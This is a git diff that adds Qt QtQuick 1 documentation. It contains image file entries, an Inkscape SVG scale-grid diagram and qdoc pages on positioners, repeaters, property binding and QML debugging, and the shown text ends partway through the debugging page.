--- /dev/null
+++ b/doc/src/qtquick1/pics/rect-border-width.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/rect-color.png b/doc/src/qtquick1/pics/rect-color.png
new file mode 100644
index 0000000000..b258ba9b6c
--- /dev/null
+++ b/doc/src/qtquick1/pics/rect-color.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/rect-smooth.png b/doc/src/qtquick1/pics/rect-smooth.png
new file mode 100644
index 0000000000..7ffd8aba33
--- /dev/null
+++ b/doc/src/qtquick1/pics/rect-smooth.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/reflection_example.png b/doc/src/qtquick1/pics/reflection_example.png
new file mode 100644
index 0000000000..fd9bb48022
--- /dev/null
+++ b/doc/src/qtquick1/pics/reflection_example.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/repeater-index.png b/doc/src/qtquick1/pics/repeater-index.png
new file mode 100644
index 0000000000..3dbe6d0571
--- /dev/null
+++ b/doc/src/qtquick1/pics/repeater-index.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/repeater-modeldata.png b/doc/src/qtquick1/pics/repeater-modeldata.png
new file mode 100644
index 0000000000..6d8df0d9d5
--- /dev/null
+++ b/doc/src/qtquick1/pics/repeater-modeldata.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/repeater-simple.png b/doc/src/qtquick1/pics/repeater-simple.png
new file mode 100644
index 0000000000..6da62951dc
--- /dev/null
+++ b/doc/src/qtquick1/pics/repeater-simple.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/repeater.png b/doc/src/qtquick1/pics/repeater.png
new file mode 100644
index 0000000000..973df27a74
--- /dev/null
+++ b/doc/src/qtquick1/pics/repeater.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/scalegrid.svg b/doc/src/qtquick1/pics/scalegrid.svg
new file mode 100644
index 0000000000..e386f3d7bb
--- /dev/null
+++ b/doc/src/qtquick1/pics/scalegrid.svg
@@ -0,0 +1,183 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics"
+ sodipodi:docname="scalegrid.svg"
+ inkscape:export-filename="/home/mbrasser/work/Kinetic/ngui/doc/src/pics/scalegrid.png"
+ inkscape:export-xdpi="189.65207"
+ inkscape:export-ydpi="189.65207">
+ <defs
+ id="defs4" />
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="50"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="3.2163554"
+ inkscape:cx="173.89302"
+ inkscape:cy="703.69531"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="true"
+ inkscape:grid-bbox="false"
+ inkscape:guide-bbox="false"
+ inkscape:window-width="1409"
+ inkscape:window-height="1016"
+ inkscape:window-x="0"
+ inkscape:window-y="0" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:red;fill-opacity:1;stroke:none;stroke-width:3;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
+ id="rect1876"
+ width="45.104"
+ height="45.137001"
+ x="119.16868"
+ y="301.00308"
+ rx="5"
+ ry="5" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.3965202;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304035, 0.39652018;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 157.02483,295.52571 C 157.02483,352.04784 157.02483,352.04784 157.02483,352.04784"
+ id="path2766" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 126.2,295.64284 C 126.2,352.16567 126.2,352.16567 126.2,352.16567"
+ id="path2768" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 169.05321,308.25967 C 112.53038,308.25967 112.53038,308.25967 112.53038,308.25967"
+ id="path2770" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.39652267;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:0.79304534, 0.39652268;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 169.08024,339.77238 C 112.55741,339.77238 112.55741,339.77238 112.55741,339.77238"
+ id="path2772" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Arial Black"
+ x="115.2857"
+ y="303.60583"
+ id="text2774"><tspan
+ sodipodi:role="line"
+ id="tspan2776"
+ x="115.2857"
+ y="303.60583">1</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="137.19142"
+ y="303.60583"
+ id="text2782"><tspan
+ sodipodi:role="line"
+ id="tspan2784"
+ x="137.19142"
+ y="303.60583"
+ style="font-family:Arial Black">2</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Arial Black"
+ x="161.56842"
+ y="303.45935"
+ id="text2786"><tspan
+ sodipodi:role="line"
+ id="tspan2788"
+ x="161.56842"
+ y="303.45935">3</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="114.72613"
+ y="327.00702"
+ id="text2790"><tspan
+ sodipodi:role="line"
+ id="tspan2792"
+ x="114.72613"
+ y="327.00702"
+ style="font-family:Arial Black">4</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="137.12404"
+ y="326.86053"
+ id="text2794"><tspan
+ sodipodi:role="line"
+ id="tspan2796"
+ x="137.12404"
+ y="326.86053"
+ style="font-family:Arial Black">5</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="161.49518"
+ y="326.86053"
+ id="text2798"><tspan
+ sodipodi:role="line"
+ id="tspan2800"
+ x="161.49518"
+ y="326.86053"
+ style="font-family:Arial Black">6</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="114.70855"
+ y="351.25809"
+ id="text2802"><tspan
+ sodipodi:role="line"
+ id="tspan2804"
+ x="114.70855"
+ y="351.25809"
+ style="font-family:Arial Black">7</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="137.08595"
+ y="351.1116"
+ id="text2806"><tspan
+ sodipodi:role="line"
+ id="tspan2808"
+ x="137.08595"
+ y="351.1116"
+ style="font-family:Arial Black">8</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="161.58307"
+ y="351.1116"
+ id="text2810"><tspan
+ sodipodi:role="line"
+ id="tspan2812"
+ x="161.58307"
+ y="351.1116"
+ style="font-family:Arial Black">9</tspan></text>
+ </g>
+</svg>
diff --git a/doc/src/qtquick1/pics/shadow_example.png b/doc/src/qtquick1/pics/shadow_example.png
new file mode 100644
index 0000000000..6214620f0c
--- /dev/null
+++ b/doc/src/qtquick1/pics/shadow_example.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/squish-transform.png b/doc/src/qtquick1/pics/squish-transform.png
new file mode 100644
index 0000000000..0eb848edc2
--- /dev/null
+++ b/doc/src/qtquick1/pics/squish-transform.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/squish.png b/doc/src/qtquick1/pics/squish.png
new file mode 100644
index 0000000000..73bf2920de
--- /dev/null
+++ b/doc/src/qtquick1/pics/squish.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/switch-example.gif b/doc/src/qtquick1/pics/switch-example.gif
new file mode 100644
index 0000000000..3d6582fecc
--- /dev/null
+++ b/doc/src/qtquick1/pics/switch-example.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/translate.png b/doc/src/qtquick1/pics/translate.png
new file mode 100644
index 0000000000..baf58b0eb6
--- /dev/null
+++ b/doc/src/qtquick1/pics/translate.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/verticalpositioner_example.png b/doc/src/qtquick1/pics/verticalpositioner_example.png
new file mode 100644
index 0000000000..458dc7f481
--- /dev/null
+++ b/doc/src/qtquick1/pics/verticalpositioner_example.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/verticalpositioner_transition.gif b/doc/src/qtquick1/pics/verticalpositioner_transition.gif
new file mode 100644
index 0000000000..ed61adb5ab
--- /dev/null
+++ b/doc/src/qtquick1/pics/verticalpositioner_transition.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/visualitemmodel.png b/doc/src/qtquick1/pics/visualitemmodel.png
new file mode 100644
index 0000000000..5e6d1325b2
--- /dev/null
+++ b/doc/src/qtquick1/pics/visualitemmodel.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/webview.png b/doc/src/qtquick1/pics/webview.png
new file mode 100644
index 0000000000..0d24586587
--- /dev/null
+++ b/doc/src/qtquick1/pics/webview.png
Binary files differ
diff --git a/doc/src/qtquick1/positioners.qdoc b/doc/src/qtquick1/positioners.qdoc
new file mode 100644
index 0000000000..546c55e030
--- /dev/null
+++ b/doc/src/qtquick1/positioners.qdoc
@@ -0,0 +1,196 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-positioners.html
+\ingroup qml-features
+\previouspage Property Binding
+\nextpage Anchor-based Layout in QML
+\contentspage QML Features
+\title Using QML Positioner and Repeater Items
+
+
+Positioner items are container items that manage the positions and sizes of
+items in a declarative user interface. Positioners behave in a similar way to
+the \l{Widgets and Layouts}{layout managers} used with standard Qt widgets,
+except that they are also containers in their own right.
+
+Positioners and repeaters make it easier to work with many items when they need
+to be arranged in a regular layout.
+
+\section1 Positioners
+
+A set of standard positioners are provided in the basic set of Qt Quick
+graphical elements:
+
+\list
+\o \l{#Column}{Column} arranges its children in a column
+\o \l{#Row}{Row} arranges its children in a row
+\o \l{#Grid}{Grid} arranges its children in a grid
+\o \l{#Flow}{Flow} arranges its children like words on a page
+\endlist
+
+\section2 Column
+
+\div {class="float-right"}
+\inlineimage qml-column.png
+\enddiv
+
+\l Column items are used to vertically arrange items. The following example
+uses a Column item to arrange three \l Rectangle items in an area defined
+by an outer \l Item. The \l{Column::spacing}{spacing} property is set to
+include a small amount of space between the rectangles.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/column/column.qml document
+
+Note that, since Column inherits directly from Item, any background color
+must be added to a parent Rectangle, if desired.
+
+\section2 Row
+
+\div {class="float-right"}
+\inlineimage qml-row.png
+\enddiv
+
+\l Row items are used to horizontally arrange items. The following example
+uses a Row item to arrange three rounded \l Rectangle items in an area defined
+by an outer colored Rectangle. The \l{Row::spacing}{spacing} property is set to
+include a small amount of space between the rectangles.
+
+We ensure that the parent Rectangle is large enough so that there is some space
+left around the edges of the horizontally centered Row item.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/row.qml document
+
+\section2 Grid
+
+\div {class="float-right"}
+\inlineimage qml-grid-spacing.png
+\enddiv
+
+\l Grid items are used to place items in a grid or table arrangement.
+The following example uses a Grid item to place four \l Rectangle items
+in a 2-by-2 grid. As with the other positioners, the spacing between items
+can be specified using the \l{Grid::spacing}{spacing} property.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/grid-spacing.qml document
+
+There is no difference between horizontal and vertical spacing inserted
+between items, so any additional space must be added within the items
+themselves.
+
+Any empty cells in the grid must be created by defining placeholder items
+at the appropriate places in the Grid definition.
+
+\section2 Flow
+
+\div {class="float-right"}
+\inlineimage qml-flow-text1.png
+\inlineimage qml-flow-text2.png
+\enddiv
+
+\l Flow items are used to place items like words on a page, with rows or
+columns of non-overlapping items.
+
+Flow items arrange items in a similar way to \l Grid items, with items
+arranged in lines along one axis (the minor axis), and lines of items
+placed next to each other along another axis (the major axis). The
+direction of flow, as well as the spacing between items, are controlled
+by the \l{Flow::}{flow} and \l{Flow::}{spacing} properties.
+
+The following example shows a Flow item containing a number of \l Text
+child items. These are arranged in a similar way to those shown in the
+screenshots.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/flow.qml document
+
+The main differences between the Grid and Flow positioners are that items
+inside a Flow will wrap when they run out of space on the minor axis, and
+items on one line may not be aligned with items on another line if the
+items do not have uniform sizes. As with Grid items, there is no independent
+control of spacing between items and between lines of items.
+
+\section1 Repeaters
+
+\div {class="float-right"}
+\inlineimage qml-repeater-grid-index.png
+\enddiv
+
+Repeaters create items from a template for use with positioners, using data
+from a model. Combining repeaters and positioners is an easy way to lay out
+lots of items. A \l Repeater item is placed inside a positioner, and generates
+items that the enclosing positioner arranges.
+
+Each Repeater creates a number of items by combining each element of data
+from a model, specified using the \l{Repeater::model}{model} property, with
+the template item, defined as a child item within the Repeater.
+The total number of items is determined by the amount of data in the model.
+
+The following example shows a repeater used with a \l{#Grid}{Grid} item to
+arrange a set of Rectangle items. The Repeater item creates a series of 24
+rectangles for the Grid item to position in a 5 by 5 arrangement.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/repeaters/repeater-grid-index.qml document
+
+The number of items created by a Repeater is held by its \l{Repeater::}{count}
+property. It is not possible to set this property to determine the number of
+items to be created. Instead, as in the above example, we use an integer as
+the model. This is explained in the \l{QML Data Models#An Integer}{QML Data Models}
+document.
+
+It is also possible to use a delegate as the template for the items created
+by a Repeater. This is specified using the \l{Repeater::}{delegate} property.
+
+\section1 Using Transitions
+
+Transitions can be used to animate items that are added to, moved within,
+or removed from a positioner.
+
+Transitions for adding items apply to items that are created as part of a
+positioner, as well as those that are reparented to become children of a
+positioner.
+Transitions for removing items apply to items within a positioner that are
+deleted, as well as those that are removed from a positioner and given new
+parents in a document.
+
+Additionally, changing the opacity of items to zero will cause them to
+disappear using the remove transition, and making the opacity non-zero will
+cause them to appear using the add transition.
+
+\section1 Other Ways to Position Items
+
+There are several other ways to position items in a user interface. In addition
+to the basic technique of specifying their coordinates directly, they can be
+positioned relative to other items with \l{anchor-layout}{anchors}, or used
+with \l{QML Data Models} such as
+\l{QML Data Models#VisualItemModel}{VisualItemModel}.
+*/
diff --git a/doc/src/qtquick1/propertybinding.qdoc b/doc/src/qtquick1/propertybinding.qdoc
new file mode 100644
index 0000000000..c35ed2574a
--- /dev/null
+++ b/doc/src/qtquick1/propertybinding.qdoc
@@ -0,0 +1,324 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page propertybinding.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {QML Basic Types}{Data Types}
+\nextpage {Using QML Positioner and Repeater Items}{Component Layouts}
+\title Property Binding
+
+\section1 Properties
+
+QML components have \e properties that can be read and modified by other objects.
+In QML, properties serve many purposes but their main function is to bind to
+values. Values may be a \l{QML Basic Types}{basic type}, or other QML elements.
+
+The syntax for properties is:
+
+\tt{[default] property <type> <name>[: defaultValue]}
+
+Elements already possess useful properties but, to create custom properties,
+precede the property name with the keyword \c property.
+
+\snippet doc/src/snippets/declarative/properties.qml parent begin
+\snippet doc/src/snippets/declarative/properties.qml inherited properties
+\snippet doc/src/snippets/declarative/properties.qml custom properties
+\snippet doc/src/snippets/declarative/properties.qml parent end
+
+QML property rules coincide with many of JavaScript's property rules, for example,
+property names must begin with a lowercase letter.
+\l {JavaScript Reserved Words}{JavaScript reserved words} are not valid property
+names.
+
+\section1 Property Binding
+
+Property binding is a declarative way of specifying the value of a property. Binding allows
+a property's value to be expressed as an JavaScript expression that defines the value relative
+to other property values or data accessible in the application. The property value is
+automatically kept up to date if the other properties or data values change.
+
+Property bindings are created in QML using the colon "\c {:}" before the value:
+\snippet doc/src/snippets/declarative/properties.qml property binding
+The property binding causes the width of the \c Rectangle to update whenever the
+\c {parent}'s width changes.
+
+QML extends a standards compliant JavaScript engine, so any valid JavaScript expression can be
+used as a property binding. Bindings can access object properties, make function calls and even
+use built-in JavaScript objects such as \c {Date} and \c {Math}.
+\snippet doc/src/snippets/declarative/properties.qml JavaScript sample
+
+While syntactically bindings can be of arbitrary complexity, if a binding starts to become
+overly complex - such as involving multiple lines, or imperative loops - it may be better
+to refactor the component entirely, or at least factor the binding out into a separate
+function.
+
+\keyword qml-javascript-assignment
+\section1 Property Assignment versus Property Binding
+
+When working with both QML and JavaScript, it is important to differentiate between
+QML property binding and JavaScript value assignment. In QML, a property
+binding is created using the colon "\c {:}".
+\snippet doc/src/snippets/declarative/properties.qml property binding
+The property binding causes the width of the \c Rectangle to update whenever the
+\c {parent}'s width changes.
+
+Assigning a property value (using the equals sign "\c {=}") does not create a
+property binding.
+\snippet doc/src/snippets/declarative/properties.qml property assignment
+
+Instead of creating a property binding, the assignment simply sets the \c Rectangle
+\c width value to a number when the \c Component.onCompleted code is invoked.
+
+Assigning a value to a property that is already bound will remove the previous binding.
+A property can only have one value at a time (a list of property is one value),
+and if any code explicitly re-sets this value, the property binding is removed.
+
+There is no way to create a property binding directly from imperative JavaScript code,
+although it is possible to use the \l {Using the Binding Element}{Binding} element.
+
+\section1 Types of Properties
+
+Properties may bind to different types, but they are are \e type-safe. That is,
+properties only allow you to assign a value that matches the property type. For
+example, if a property is a real, and if you try to assign a string to it you
+will get an error.
+
+\badcode
+property real volume: "four" //generates an error
+\endcode
+
+Certain properties bind to more complex types such as other elements and objects.
+
+\keyword qml-basic-property-types
+\section2 Basic Property Types
+
+Basic types such as \l int, \l real, and other Qt structures may be bound to
+properties. For a list of types, visit the \l {QML Basic Types} document.
+
+\keyword qml-id-property
+\section2 The \c id Property
+
+Each QML object may be given a special unique property called an \c id.
+No other object within the same QML component (see \l{QML Documents}) can have
+the same \c id value. QML objects may then access an object using the \c id
+property.
+\snippet doc/src/snippets/declarative/properties.qml id property
+A component may readily access its parent's properties by using the \c parent
+property.
+
+Note that an \c id must begin with a lower-case letter or an underscore. The
+\c id cannot contain characters other than letters, numbers, underscores, and
+\l {JavaScript Reserved Words}{JavaScript reserved words}.
+
+\section2 Elements and Objects as Property Values
+
+Many properties bind to objects. For example, the \l Item element has a
+\c states property that can bind to \l State elements. This type of property
+binding allows elements to carry additional non-children elements. \c Item's
+\c transitions property behaves in a similar way; it can bind to \l Transition
+elements.
+
+Care must be taken when referring to the parent of an object property binding.
+Elements and components that are bound to properties are not necessarily set
+as children of the properties' component.
+
+\snippet doc/src/snippets/declarative/properties.qml object binding
+The code snippet has a \l Gradient element that attempts to print its parent's
+\c width value. However, the \c Gradient element is bound to the \c gradient
+property, not the \c children property of the \c Rectangle. As a result, the
+\c Gradient does not have the \c Rectangle as its parent. Printing the value
+of \c{parent.width} generates an error. Printing the \c Rectangle object's
+first child's \c name will print \c {childrectangle} because the second
+\c Rectangle is bound to the \c children property.
+
+For more information about the \c children property, please read the
+\l {Default Properties} section.
+
+\keyword attached-properties
+\section2 Attached Properties
+
+Certain objects provide additional properties by \e attaching properties to other
+objects. For example, the \l Keys element have properties that can \e attach to other QML
+objects to provide keyboard handling.
+
+\snippet doc/src/snippets/declarative/properties.qml list attached property
+The element \l ListView provides the delegate, \c listdelegate, the property
+\c isCurrentItem as an attached property. The \c ListView.isCurrentItem
+\e{attached property} provides highlight information to the delegate.
+Effectively, the \l ListView element attaches the \c ListView.isCurrentItem
+property to each delegate it creates.
+
+\keyword attached-signalhandlers
+\section2 Attached Signal Handlers
+
+\e {Attached signal handlers} are similar
+to \l{Attached Properties}{attached properties} in that they attach to objects
+to provide additional functionality to objects. Two prominent elements,
+\l Component and \l Keys element provide
+\l{QML Signal and Handler Event System}{signal handlers} as attached signal
+handlers.
+\snippet doc/src/snippets/declarative/properties.qml attached signal handler
+
+Read the \l{QML Signal and Handler Event System} and the \l{Keyboard Focus in QML}
+articles for more information.
+
+\section2 List properties
+
+Some properties may accept a binding to a list property, where more than one
+component can bind to the property. List properties allow multiple
+\l {State}{States}, \l {Gradient}{Gradients}, and other components to bind to a
+single property.
+\snippet doc/src/snippets/declarative/properties.qml list property
+The list is enclosed in square brackets, with a comma separating the
+list elements. In cases where you are only assigning a single item to a
+list, you may omit the square brackets.
+\snippet doc/src/snippets/declarative/properties.qml single property
+
+To access the list, use the \c index property.
+\snippet doc/src/snippets/declarative/properties.qml print list property
+The snippet code simply prints the name of the first state, \c FETCH.
+
+ See the \l{list}{list type} documentation
+for more details about list properties and their available operations.
+
+\keyword qml-grouped-properties
+\section2 Grouped Properties
+
+In some cases properties form a logical group and use either the \e dot notation
+or \e group notation.
+
+Grouped properties may be written both ways:
+\snippet doc/src/snippets/declarative/properties.qml grouped properties
+
+In the element documentation grouped properties are shown using the dot notation.
+
+\section2 Property Aliases
+
+Unlike a property definition, which allocates a new, unique storage space for
+the property, a property alias connects the newly declared property, called the
+\e{aliasing property} as a direct reference to an existing property, the
+\e{aliased property}. Read or write operations on the aliasing property results
+in a read or write operations on the aliased property, respectively.
+
+A property alias declaration is similar to an ordinary property definition:
+
+\tt{[default] property alias <name>: <alias reference>}
+
+As the aliasing property has the same type as the aliased property, an explicit
+type is omitted, and the special \c alias keyword is before the property name.
+Instead of a default value, a property alias has a compulsory alias reference.
+Accessing the aliasing property is similar to accessing a regular property. In
+addition, the optional \c default keyword indicates that the aliasing property
+is a \l{Default Properties}{default property}.
+
+\snippet doc/src/snippets/declarative/Button.qml property alias
+When importing the component as a \c Button, the \c buttonlabel is directly
+accessible through the \c label property.
+\snippet doc/src/snippets/declarative/properties.qml alias usage
+In addition, the \c id property may also be aliased and referred outside the
+component.
+\snippet doc/src/snippets/declarative/Button.qml parent begin
+\snippet doc/src/snippets/declarative/Button.qml id alias
+\snippet doc/src/snippets/declarative/Button.qml parent end
+The \c imagebutton component has the ability to modify the child \l Image object
+ and its properties.
+\snippet doc/src/snippets/declarative/properties.qml image alias
+
+Using aliases, properties may be exposed to the
+\l{qml-top-level-component}{top level component}. Exposing properties to the
+top-level component allows components to have interfaces similar to Qt widgets.
+
+\section3 Considerations for property aliases
+
+Aliases are only activated once the component
+\l{Component::onCompleted}{completes} its initialization. An error is generated
+when an uninitialized alias is referenced. Likewise, aliasing an aliasing
+property will also result in an error.
+
+\snippet doc/src/snippets/declarative/properties.qml alias complete
+
+When importing the component, however, aliasing properties appear as regular Qt
+properties and consequently can be used in alias references.
+
+It is possible for an aliasing property to have the same name as an existing
+property, effectively overwriting the existing property. For example,
+the following component has a \c color alias property, named the same as the built-in
+\l {Rectangle::color} property:
+
+\snippet doc/src/snippets/declarative/properties.qml alias overwrite
+
+Any object that use this component and refer to its \c color property will be
+referring to the alias rather than the ordinary \l {Rectangle::color} property.
+Internally, however, the \c coloredrectangle can correctly set its \c color
+property and refer to the actual defined property rather than the alias.
+
+The \l{declarative/ui-components/tabwidget}{TabWidget} example uses
+aliases to reassign children to the \l ListView, creating a tab effect.
+
+\keyword default-properties
+\section2 Default Properties
+
+When imported, QML components will bind declared children to their designated
+\e{default properties}. The optional \c default attribute specifies a property
+as the \e {default property}. For example, the State element's default property
+is its \l{State::changes}{changes} property. \l PropertyChanges elements
+may simply be placed as the \c{State}'s children and they will be bound to the
+\c changes property.
+\snippet doc/src/snippets/declarative/properties.qml state default
+
+Similarly, the \l Item element's default property is its
+\l{Item::data}{data} property. The \c data property manages Item's
+\c children and \c resources properties. This way, different data types may be
+placed as direct children of the \c Item.
+\snippet doc/src/snippets/declarative/properties.qml default property
+
+Reassigning a default property is useful when a component is reused. For
+example, the \l{declarative/ui-components/tabwidget}{TabWidget} example uses
+the \c default attribute to reassign children to the \l ListView, creating
+a tab effect.
+
+\section1 Using the Binding Element
+
+In some advanced cases, it may be necessary to create bindings explicitly with
+the\l Binding element.
+
+For example, to bind a property exposed from C++ (\c system.brightness) to a
+value written in QML (\c slider.value), you could use the \l Binding element as
+follows:
+\snippet doc/src/snippets/declarative/properties.qml binding element
+
+\section1 Changing Property Values in States
+
+The \l PropertyChanges element is for setting property bindings within a
+\l State element to set a property binding.
+
+\snippet doc/src/snippets/declarative/properties.qml PropertyChanges element
+The rectangle's \c color property will bind to the \c warning component's
+\c color property when its \c state is set to the \c WARNING state.
+*/
diff --git a/doc/src/qtquick1/qdeclarativedebugging.qdoc b/doc/src/qtquick1/qdeclarativedebugging.qdoc
new file mode 100644
index 0000000000..189d4449e5
--- /dev/null
+++ b/doc/src/qtquick1/qdeclarativedebugging.qdoc
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativedebugging.html
+\title Debugging QML
+
+\section1 Logging
+
+\c console.log can be used to print debugging information to the console. For example:
+
+\qml
+Rectangle {
+ width: 200; height: 200
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log("clicked")
+ }
+}
+\endqml
+
+\section1 Debugging Transitions
+
+When a transition doesn't look quite right, it can be helpful to view it in slow
+motion to see what is happening more clearly. This functionality is supported
+in the \l {QML Viewer} tool: to enable this,
+click on the "Debugging" menu, then "Slow Down Animations".
+
+
+\section1 Debugging module imports
+
+The \c QML_IMPORT_TRACE environment variable can be set to enable debug output
+from QML's import loading mechanisms.
+
+For example, for a simple QML file like this:
+
+\qml
+import QtQuick 1.0
+
+Rectangle { width: 100; height: 100 }
+\endqml
+
+If you set \c {QML_IMPORT_TRACE=1} before running the \l {QML Viewer}
